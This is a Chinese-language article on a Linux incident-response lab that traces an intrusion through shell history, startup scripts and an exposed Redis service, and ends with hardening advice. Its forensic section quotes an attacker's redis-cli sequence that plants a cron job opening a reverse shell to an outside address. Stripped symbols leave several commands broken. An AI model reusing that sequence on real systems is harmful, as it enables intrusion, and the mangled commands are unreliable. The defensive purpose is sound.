首页 / 资讯中心 / 文章详情

Linux应急响应实战:历史命令、开机脚本与Redis溯源

Linux应急响应实战:历史命令、开机脚本与Redis溯源 ★ FEATURED ARTICLE
1. 项目背景与核心价值这个靶场实战项目聚焦Linux系统应急响应中的三个典型场景历史命令分析、开机脚本审查和Redis服务溯源。作为安全从业者我经常遇到需要快速定位入侵痕迹的实战需求而这三个方向恰恰覆盖了攻击者最常见的驻留手段。历史命令分析能还原攻击者的操作路径开机脚本审查可发现持久化后门Redis溯源则针对暴露在公网的高危服务。通过这个靶机环境新手可以建立起基础的应急响应思维老手则能验证自己的排查流程是否严谨。我在金融和互联网行业做红蓝对抗时这套组合拳曾多次帮助快速定位入侵源头。2. 环境准备与初始访问2.1 靶机环境配置使用VirtualBox搭建Ubuntu 20.04靶机环境关键配置包括分配2核CPU/4GB内存开启嵌套虚拟化针对后续可能的内存取证配置双网卡NATHost-only预装redis-server、vim、net-tools等基础工具注意不要使用桥接模式避免靶机IP暴露在真实网络环境中。我在某次企业内网演练中就因为桥接配置不当导致扫描流量触发了安全告警。2.2 初始访问痕迹分析登录后首先检查auth日志grep Accepted password /var/log/auth.log发现可疑SSH登录记录Jun 15 03:28:21 target sshd[1327]: Accepted password for test from 192.168.1.100 port 54321这显示攻击者可能通过弱口令test获得了初始访问权限。建议立即检查/etc/shadow文件权限和用户列表。3. 历史命令深度分析3.1 基础历史记录检查常规操作是直接查看.bash_historycat ~/.bash_history但实战中攻击者往往会清空记录。更可靠的方法是检查内存中的历史命令history -a # 强制写入缓存命令 cat ~/.bash_history | grep -v ^#3.2 高级历史记录恢复当发现历史记录被清空时可采用以下方法检查所有用户的history文件find /home -name .bash_history -exec ls -la {} \;使用strings扫描内存strings /dev/shm/* | grep -E curl|wget|ssh|scp分析临时文件grep -r password /tmp /var/tmp 2/dev/null在我的某次取证中就曾通过/dev/shm下的残留文件发现攻击者使用过的Meterpreter命令。4. 开机脚本排查实战4.1 常规启动项检查# 检查rc.local ls -la /etc/rc.local # 查看crontab crontab -l systemctl list-timers --all4.2 隐蔽启动项挖掘检查systemd服务systemctl list-unit-files --typeservice | grep enabled分析profile.d脚本ls -la /etc/profile.d/审查ld.so.preloadcat /etc/ld.so.preload 2/dev/null曾遇到攻击者将后门so文件注入到ld.preload中所有进程启动都会加载该动态库。5. Redis服务溯源分析5.1 Redis基础检查# 检查运行状态 systemctl status redis # 查看监听端口 netstat -tulnp | grep redis # 检查配置文件 grep -v ^# /etc/redis/redis.conf | grep -v ^$5.2 Redis入侵痕迹定位检查持久化文件ls -la /var/lib/redis/dump.rdb分析AOF日志redis-check-aof --fix appendonly.aof搜索可疑键值redis-cli KEYS * | grep -E backdoor|shell|payload在云服务器入侵案例中曾发现攻击者通过未授权Redis写入定时任务redis-cli -h 10.0.0.1 set x \n* * * * * bash -i /dev/tcp/1.2.3.4/8080 01\n config set dir /var/spool/cron/ config set dbfilename root save6. 综合排查流程6.1 时间线重建# 合并所有日志时间戳 cat /var/log/*.log | grep -E Jun 15 | sort -k36.2 文件完整性校验# 使用rpm校验系统文件 rpm -Va | grep ^..56.3 内存取证技巧# 使用LiME获取内存镜像 insmod lime.ko path/tmp/memdump.lime formatlime7. 防御加固建议SSH加固# 禁用密码登录 sed -i s/#PasswordAuthentication yes/PasswordAuthentication no/ /etc/ssh/sshd_configRedis防护# 绑定本地访问 echo bind 127.0.0.1 /etc/redis/redis.conf历史记录保护# 防止历史记录被清空 chattr a ~/.bash_history8. 实战经验总结多维度交叉验证不要仅依赖单一日志要结合命令历史、文件修改时间、网络连接综合分析时间戳分析技巧使用find命令按时间过滤可疑文件find / -mtime -1 -type f -exec ls -la {} \;应急响应黄金4小时发现入侵后要立即做内存转储避免关键证据丢失这个靶场涵盖了我处理Linux服务器入侵时最常用的三大技术方向。建议读者在干净环境中复现每个步骤理解攻击者的操作逻辑比单纯记忆命令更重要。
阅读完成 · 觉得有帮助?
咨询建站